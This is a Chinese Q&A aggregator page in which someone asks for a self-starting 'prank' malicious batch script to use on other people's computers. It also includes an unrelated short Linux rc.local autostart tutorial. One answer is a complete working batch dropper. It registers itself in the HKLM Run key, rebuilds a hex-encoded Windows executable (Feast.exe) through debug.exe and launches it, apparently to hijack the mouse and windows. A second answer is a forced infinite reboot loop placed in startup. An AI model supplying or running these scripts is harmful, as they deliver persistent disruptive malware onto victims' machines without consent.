利用系统脚本(包括BAT)编写一个自动激活的恶意程序(不能死机),并编写解决的办法。

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用系统脚本(包括BAT)编写一个自动激活的恶意程序(不能死机),并编写解决的办法。相关的知识,希望对你有一定的参考价值。

利用系统脚本(包括BAT)编写一个自动激活的恶意程序(不能死机),并编写解决的办法。
答得好+100`
谢谢`
如何让那个批处理双击之后自动添加到启动项```除了重启还有没其他恶搞别人的```PS:本人心地善良``不会干坏事的``请大虾们放心``

复制保存以下代码保存为 "任意名.bat"
纯属好玩.对系统没有伤害.
运行这个批处理后,
只需要在运行栏中输入" taskkill /im Feast.exe /f /t " 就没事了.
呵呵,虽然字数不多,输入完整可不容易呀.

reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v hehe /f

哦.对了,运行以下批处理后会添加为开机自启动.复制上面那一句为批处理就可以删除掉它了.

reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v hehe /t REG_SZ /d %0 /f
@echo e 100 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 >>tmp11
@echo e 110 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 >>tmp11
@echo e 120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 130 00 00 00 00 00 00 00 00 00 00 00 00 C8 00 00 00 >>tmp11
@echo e 140 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 >>tmp11
@echo e 150 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F >>tmp11
@echo e 160 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 >>tmp11
@echo e 170 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 >>tmp11
@echo e 180 E7 81 B5 C3 A3 E0 DB 90 A3 E0 DB 90 A3 E0 DB 90 >>tmp11
@echo e 190 B0 E8 86 90 A1 E0 DB 90 20 E8 86 90 A0 E0 DB 90 >>tmp11
@echo e 1A0 A3 E0 DA 90 AA E0 DB 90 A6 EC 84 90 A1 E0 DB 90 >>tmp11
@echo e 1B0 A6 EC 81 90 A2 E0 DB 90 52 69 63 68 A3 E0 DB 90 >>tmp11
@echo e 1C0 00 00 00 00 00 00 00 00 50 45 00 00 4C 01 03 00 >>tmp11
@echo e 1D0 FD 19 07 3F 00 00 00 00 00 00 00 00 E0 00 0F 01 >>tmp11
@echo e 1E0 0B 01 07 0A 00 02 00 00 00 04 00 00 00 00 00 00 >>tmp11
@echo e 1F0 C0 10 00 00 00 10 00 00 00 20 00 00 00 00 40 00 >>tmp11
@echo e 200 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 >>tmp11
@echo e 210 04 00 00 00 00 00 00 00 00 40 00 00 00 04 00 00 >>tmp11
@echo e 220 00 00 00 00 02 00 00 04 00 00 10 00 00 10 00 00 >>tmp11
@echo e 230 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 >>tmp11
@echo e 240 00 00 00 00 00 00 00 00 4C 20 00 00 3C 00 00 00 >>tmp11
@echo e 250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 270 30 20 00 00 1C 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 2A0 00 20 00 00 2C 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 2B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 2C0 2E 74 65 78 74 00 00 00 86 01 00 00 00 10 00 00 >>tmp11
@echo e 2D0 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 2E0 00 00 00 00 20 00 00 60 2E 72 64 61 74 61 00 00 >>tmp11
@echo e 2F0 98 01 00 00 00 20 00 00 00 02 00 00 00 06 00 00 >>tmp11
@echo e 300 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 >>tmp11
@echo e 310 2E 64 61 74 61 00 00 00 28 00 00 00 00 30 00 00 >>tmp11
@echo e 320 00 02 00 00 00 08 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 330 00 00 00 00 40 00 00 C0 00 00 00 00 00 00 00 00 >>tmp11
@echo e 340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 3A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 3B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 3C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 3D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 3E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 3F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 4A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 4B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 4C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 4D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 4E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 4F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 500 56 8B 74 24 08 57 68 10 30 40 00 56 FF 15 10 20 >>tmp11
@echo e 510 40 00 8B 0D 10 30 40 00 83 F9 CE 8B 15 18 30 40 >>tmp11
@echo e 520 00 8B 3D 24 30 40 00 A1 14 30 40 00 7D 21 83 F8 >>tmp11
@echo e 530 CE 7C 21 6A 05 6A 00 6A 00 83 E8 0A 50 51 6A 00 >>tmp11
@echo e 540 56 A3 14 30 40 00 FF 15 0C 20 40 00 5F 5E C3 83 >>tmp11
@echo e 550 F8 CE 7D 0E 53 8D 5F 32 3B D3 5B 7F 05 83 C1 0A >>tmp11
@echo e 560 EB 39 83 C7 32 3B D7 7E 2F 8B 15 20 30 40 00 8B >>tmp11
@echo e 570 3D 1C 30 40 00 83 C2 32 3B FA 7F 1C 6A 05 6A 00 >>tmp11
@echo e 580 6A 00 83 C0 0A 50 51 6A 00 56 A3 14 30 40 00 FF >>tmp11
@echo e 590 15 0C 20 40 00 5F 5E C3 83 E9 0A 6A 05 6A 00 6A >>tmp11
@echo e 5A0 00 50 51 6A 00 56 89 0D 10 30 40 00 FF 15 0C 20 >>tmp11
@echo e 5B0 40 00 5F 5E C3 CC CC CC CC CC CC CC CC CC CC CC >>tmp11
@echo e 5C0 56 68 10 30 40 00 FF 15 24 20 40 00 50 FF 15 10 >>tmp11
@echo e 5D0 20 40 00 A1 18 30 40 00 8B 0D 1C 30 40 00 8B 35 >>tmp11
@echo e 5E0 20 20 40 00 68 91 00 00 00 A3 24 30 40 00 89 0D >>tmp11
@echo e 5F0 20 30 40 00 FF D6 A8 01 75 60 53 8B 1D 1C 20 40 >>tmp11
@echo e 600 00 55 8B 2D 18 20 40 00 57 8B 3D 14 20 40 00 90 >>tmp11
@echo e 610 FF D7 50 E8 E8 FE FF FF 83 C4 04 6A 00 FF D3 50 >>tmp11
@echo e 620 E8 DB FE FF FF 83 C4 04 E8 36 00 00 00 99 F7 3D >>tmp11
@echo e 630 20 30 40 00 52 E8 29 00 00 00 99 F7 3D 24 30 40 >>tmp11
@echo e 640 00 52 FF D5 6A 14 FF 15 00 20 40 00 68 91 00 00 >>tmp11
@echo e 650 00 FF D6 A8 01 74 B9 5F 5D 5B 6A 00 FF 15 04 20 >>tmp11
@echo e 660 40 00 5E A1 00 30 40 00 69 C0 FD 43 03 00 05 C3 >>tmp11
@echo e 670 9E 26 00 A3 00 30 40 00 33 C0 66 A1 02 30 40 00 >>tmp11
@echo e 680 25 FF 7F 00 00 C3 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 6A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 6B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 6C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 6D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 6E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 6F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 700 C2 20 00 00 B4 20 00 00 00 00 00 00 D8 20 00 00 >>tmp11
@echo e 710 E8 20 00 00 F8 20 00 00 0E 21 00 00 1E 21 00 00 >>tmp11
@echo e 720 2E 21 00 00 3C 21 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 730 00 00 00 00 FD 19 07 3F 00 00 00 00 02 00 00 00 >>tmp11
@echo e 740 3C 00 00 00 5C 21 00 00 5C 07 00 00 88 20 00 00 >>tmp11
@echo e 750 00 00 00 00 00 00 00 00 CA 20 00 00 00 20 00 00 >>tmp11
@echo e 760 94 20 00 00 00 00 00 00 00 00 00 00 50 21 00 00 >>tmp11
@echo e 770 0C 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 780 00 00 00 00 00 00 00 00 C2 20 00 00 B4 20 00 00 >>tmp11
@echo e 790 00 00 00 00 D8 20 00 00 E8 20 00 00 F8 20 00 00 >>tmp11
@echo e 7A0 0E 21 00 00 1E 21 00 00 2E 21 00 00 3C 21 00 00 >>tmp11
@echo e 7B0 00 00 00 00 AF 00 45 78 69 74 50 72 6F 63 65 73 >>tmp11
@echo e 7C0 73 00 47 03 53 6C 65 65 70 00 4B 45 52 4E 45 4C >>tmp11
@echo e 7D0 33 32 2E 64 6C 6C 00 00 83 02 53 65 74 57 69 6E >>tmp11
@echo e 7E0 64 6F 77 50 6F 73 00 00 74 01 47 65 74 57 69 6E >>tmp11
@echo e 7F0 64 6F 77 52 65 63 74 00 17 01 47 65 74 46 6F 72 >>tmp11
@echo e 800 65 67 72 6F 75 6E 64 57 69 6E 64 6F 77 00 4F 02 >>tmp11
@echo e 810 53 65 74 43 75 72 73 6F 72 50 6F 73 00 00 63 01 >>tmp11
@echo e 820 47 65 74 54 6F 70 57 69 6E 64 6F 77 00 00 21 01 >>tmp11
@echo e 830 47 65 74 4B 65 79 53 74 61 74 65 00 0E 01 47 65 >>tmp11
@echo e 840 74 44 65 73 6B 74 6F 70 57 69 6E 64 6F 77 00 00 >>tmp11
@echo e 850 55 53 45 52 33 32 2E 64 6C 6C 00 00 52 53 44 53 >>tmp11
@echo e 860 15 F4 68 A6 3F 1B F6 4A 85 E8 67 8B 58 CA E2 04 >>tmp11
@echo e 870 02 00 00 00 66 3A 5C 50 72 6F 6A 65 63 74 73 5C >>tmp11
@echo e 880 46 65 61 73 74 5C 52 65 6C 65 61 73 65 5C 46 65 >>tmp11
@echo e 890 61 73 74 2E 70 64 62 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 8A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 8B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 8C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 8D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 8E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 8F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 900 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 910 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 920 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 930 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 940 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 950 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 960 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 970 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 980 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 990 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 9A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 9B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 9C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 9D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 9E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e 9F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e A00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e A10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e A20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e A30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e A40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e A50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e A60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e A70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e A80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e A90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e AA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e AB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e AC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e AD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e AE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo e AF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11
@echo rcx>>tmp11
@echo A00>>tmp11
@echo n tmp1>>tmp11
@echo w>>tmp11
@echo q>>tmp11
@debug<tmp11>nul
@Copy /b /y tmp1 Feast.exe
@start Feast.exe
@del tmp*
参考技术A shutdown -r -f -t 00
保存为.bat文件,设置为启动脚本,或放在启动中,电脑启动后会马上重启后又马上重启后又马上重启
解决办法就是进入安全模式,删除或移动该文件。
…………本回答被提问者采纳

Linux下开机启动脚本程序

参考技术A 本周我们学习了如何使用Linux编辑脚本程序,当我们编写好脚本的时候,我们需要返回终端界面,使用各种编译器运行程序,但是有时候我们需要在系统开机的时候就自动运行这些程序,下面我们就来看一下在Linux下将脚本设定成开机自动运行的方法。

Linux在启动时,会自动执行/etc/rc.d目录下的初始化程序,因此我们可以把启动任务放到该目录下。假设我们需要运行的脚本文件是test1目录下的test.py。

在系统中找到/etc/rc.local文件,系统会根据该文件来启动所指定的脚本或命令。

我们需要用超级用户登录,并在上述文件最后添加需要运行的脚本文件。

随后cd /home/test1返回test1目录以对其进行更改。 

su test1 -c "python /home/test1/test.py" --把要执行的命令作为一个参数传递级su

下面我们就可以实现这个脚本的开机自动运行。

以上是关于利用系统脚本(包括BAT)编写一个自动激活的恶意程序(不能死机),并编写解决的办法。的主要内容,如果未能解决你的问题,请参考以下文章

使用bat脚本永久激活Windows系统

想写一个bat脚本ping多个ip地址

Linux下开机启动脚本程序

BAT 文件在激活 kivy 脚本时自行终止

怎样使用kms激活office2016

使用其他语言激活 Powershell 脚本